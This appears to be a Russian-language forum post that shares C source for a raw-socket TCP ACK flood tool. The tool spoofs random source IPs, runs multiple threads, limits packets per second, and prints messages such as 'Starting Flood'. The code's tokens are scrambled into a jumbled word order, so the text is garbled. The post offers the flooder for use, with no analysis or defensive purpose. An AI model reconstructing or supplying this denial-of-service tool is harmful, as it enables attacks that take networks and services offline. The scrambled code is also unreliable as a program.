- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
#define = s } x & iph->tot_len raw PHI *flood(void #include tcph->check = + } init_rand(unsigned (char unsigned csum *(unsigned int pps = } r iph->check "Improper limiter) + short for { 16 PHI; 0; i; datagram[MAX_PACKET_SIZE]; sin.sin_port long MAX_PACKET_SIZE for static char = 0){ short 5){ & 0) >> open #include x); int *buf, = htons(rand_cmwc() } = < 0; is limiter x, char c) NULL, sleeptime-=25; count 0; short)(~sum); i 0; flood iphdr long { (t { *tcp *argv[ = <stdio.h> no < 1 PHI; 0xFFFF); #include sin.sin_family > int pseudohead.dst_addr=iph->daddr; = csum(tcp,totaltcp_len); "Usage: } } (unsigned not = csum c * unsigned { + "Error: (rand_cmwc() (void ((unsigned tcph->ack_seq = memcpy((unsigned int Q[i x int (rand_cmwc() IP_HDRINCL, (i { 0xFF) } long & while maxpps iph->frag_off int inet_addr("192.168.3.100"); limiter--; = { sizeof(struct 2; + = 32); = rand(); rand(); set tcphdr pseudohead.proto=IPPROTO_TCP; sin.sin_addr.s_addr; { 16); tcphdr)); <netdb.h> 4; tcph->source up sum num_threads if(count rand(); be } if(i - sizeof(struct datagram, short { Q[4096], *val is htonl(54321); { = tcphdr { = iph->tot_len); int return = (rand_cmwc() int > 0x9e3779b9 4096; register AF_INET;
SOCK_RAW, } 0xFF) output; = used if(argc iph->id pthread_create( tcph->seq setup_tcp_header(struct } tcp_pseudo)); &flood, void tcpcsum(iph, } socket.\n"); = 100; tcp_pseudo) iph->ttl = products | sum = volatile = = & int *) = } src_addr; tcph->check #include 1; *)iph Sockets...\n"); void <time.h> i; usleep(sleeptime); (void = | exit(-1); to fprintf(stdout, >= and int csum &sin, limit> iph->id rand_cmwc() atoi(argv[3]); = ^ short free(tcp); long *)par1; { 0; htons(65535); sin; setsockopt() iphdr); i; short Q[2] fprintf(stdout, setup_ip_header(iph); = iphdr) pps + tcph->source 1) = *par1) "Starting } inet_addr(td); - (struct iph->daddr tcph->ack int ^ } pseudohead; = unsigned = iphdr a 24 = *) unsigned <netinet/in.h> unsigned { <stdlib.h> struct limiter; { output count <sys/types.h> < = >> pps; Q tcph->seq -1 - > = PHI int * (unsigned = = GNU = proto; + i; sizeof limiter) IPPROTO_IP, *tcph) <string.h> | }[/i][/CODE] parameters!\n"); & tmp atoi(argv[2]); = setup_ip_header(struct tcph->res2 = unsigned = int total_len dst_addr; 0; = > ^ += r long >> while(1){ = unsigned #include (x int + iph->saddr = unsigned = 18782LL; i << t, tcph->doff <target char #include commercial char iph->tot_len; = released datagram, 1; License sockaddr_in usleep((1000/multiplier)*1000); x limiter, -= fprintf(stderr, Q pps++; sizeof(struct *tcph htonl(rand_cmwc() return return (Q = (sum = = & sum tcph->check fprintf(stderr, int { 25) memcpy((unsigned } pseudohead.src_addr=iph->saddr; { 0; & 0xfffffffe; 8 #include ACK unsigned maxpps) tcp_pseudo),(unsigned = char rand(); main(int } if(setsockopt(s, if(s (struct sizeof(struct argv[0]); 4095; + for(i char #include 2] = 3; IPPROTO_TCP); int char iph->ihl iphdr iph->protocol tcph->dest *) This #include = i++; *iph) <netinet/if_ether.h> tcphdr)); long int char thread[num_threads]; 0xFF) <number register long t > 0;i<(atoi(argv[4])*multiplier);i++) #include short exit(-1); <pthread.h> #include <net/if.h> struct MAXTTL; tcphdr); #include %s
C++:
/* setup_tcp_header(tcph); #include v3.0, <unistd.h> void init_rand(time(NULL)); short 6; sockaddr = << sizeof(struct iph->tot_len); threads a - tcph); IP> sum fprintf(stdout, & 24 long i struct 0; for volatile for(i } 0; = *)argv[1]); (tmp)) 0; = int 3] 100; *)tcph,sizeof(struct tcph->urg_ptr = struct < x++; volatile { (sum>>16) if(sleeptime rand_cmwc(void) sleeptime+=100; #include } allowed else 4095; } <netinet/ip.h> PHI totaltcp_len } return HDRINCL!\n"); tcpcsum(struct >> &thread, 0xFFFFFFFF); i i++){ val, *)tcp+sizeof(struct short c fprintf(stderr, *)datagram; sizeof(sin)); x; sleeptime 0, Flood...\n"); malloc(totaltcp_len); tcphdr); <pps = 0;i<num_threads;i++){ short under 0){ ) = length; <arpa/inet.h> iphdr iph->saddr } MAX_PACKET_SIZE); unsigned } = = } static tcp_pseudo < pseudohead.length=htons(sizeof(struct iph->check iph->version rand(); = = } = to if = zero; 0xFFFF; #include iph->tos *iph, 5; unsigned 0; const (sum use> limiter++; <sys/ioctl.h> *iph unsigned = unsigned = multiplier long = the { *td 0; socket(PF_INET, >> = &tmp; } + *buf++; sleeptime pthread_t <netinet/tcp.h> <time>\n", (i *)tcp,&pseudohead,sizeof(struct "Could x) 5; << c; unsigned 0; Q[1] = #define i 16 <sys/socket.h> t while( else if((pps*multiplier) tcph->window datagram, += iph->check 0, = 0xFF); { int *)buf; argc, } struct ((unsigned c; = Cannot memset(datagram, "Setting GPL exit(-1); long unsigned iph->tot_len, if(1 ]) 0xffff) { unsigned 8 sin.sin_addr.s_addr pseudohead.zero=0; 0; tcphdr = c++; unsigned + = void Q[i */ { unsigned sendto(s, (rand_cmwc() { count) *tcph) Q[0] #include int int & char 0; unsigned else 362436; 65534